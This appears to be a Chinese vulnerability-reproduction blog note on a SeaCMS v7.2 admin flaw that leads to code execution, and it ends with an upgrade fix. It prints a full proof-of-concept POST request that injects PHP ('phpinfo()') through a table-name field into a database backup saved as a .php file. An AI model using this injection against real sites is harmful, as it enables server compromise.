seacms-v7.2 後台 getshell漏洞復現
- 2019 年 10 月 6 日
- 筆記
漏洞影響版本:7.2
漏洞版本下載鏈接:https://github.com/seacms/seacms-v7.2
0X1 環境搭建
下載源碼之後,在centos中部署,埠是84,配置如下:

查看版本資訊,在ver.txt文件:

可以找到相關的exp進行利用
seacms的管理目錄是在根路徑的一個6位隨機字母和數字組成的目錄,通過/install/index.php的/randomkeys生成

利用BurpSuite進行爆破,設置如下:

但是好像過了一個世紀,還沒有結果出來:

仔細算了一下,有十位數字種可能。。。。。。算了,歇菜吧!
0X2 漏洞利用
根據作者的審計過程,在/include/uploadsafe.inc.php做了限制

不允許PHP文件上傳。
同時,後台目錄下的uploads.php文件也做了白名單限制:


同時,在後台其他地方也有很多限制。
在環境中發現備份的資料庫文件是以php文件保存的,如下圖:

這樣的好處是可以防止資料庫備份被掃描下載既然是php文件 那麼能不能通過修改資料庫再備份到getshell呢?

訪問配置文件:

可以寫入shell了。
完整的poc數據:
POST /5d16lx/ebak/phomebak.php HTTP/1.1
Host: 192.168.0.107:84
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: page_iframe_url=http://192.168.0.107:83/index.php?lang=cn&pageset=1; PHPSESSID=p1519uqh7ufp3hv0r62g4k3674; __tins__19820877=%7B%22sid%22%3A%201547989355000%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201547991176710%7D; __51cke__=; __51laig__=4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157
phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&tablename%5B%5D=sea_arcrank&tablename%5B%5D=sea_buy&tablename%5B%5D=sea_cck&tablename%5B%5D=sea_co_cls&tablename%5B%5D=sea_co_config&tablename%5B%5D=sea_co_data&tablename%5B%5D=sea_co_filters&tablename%5B%5D=sea_co_news&tablename%5B%5D=sea_co_type&tablename%5B%5D=sea_co_url&tablename%5B%5D=sea_comment&tablename%5B%5D=sea_content&tablename%5B%5D=sea_count&tablename%5B%5D=sea_crons&tablename%5B%5D=sea_data&tablename%5B%5D=sea_erradd&tablename%5B%5D=sea_favorite&tablename%5B%5D=sea_flink&tablename%5B%5D=sea_guestbook&tablename%5B%5D=sea_ie&tablename%5B%5D=sea_jqtype&tablename%5B%5D=sea_member&tablename%5B%5D=sea_member_group&tablename%5B%5D=sea_myad&tablename%5B%5D=sea_mytag&tablename%5B%5D=sea_news&tablename%5B%5D=sea_playdata&tablename%5B%5D=sea_search_keywords&tablename%5B%5D=sea_tags&tablename%5B%5D=sea_temp&tablename%5B%5D=sea_topic&tablename%5B%5D=sea_type&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
0X3 漏洞修復
升級到最新版本8.6即可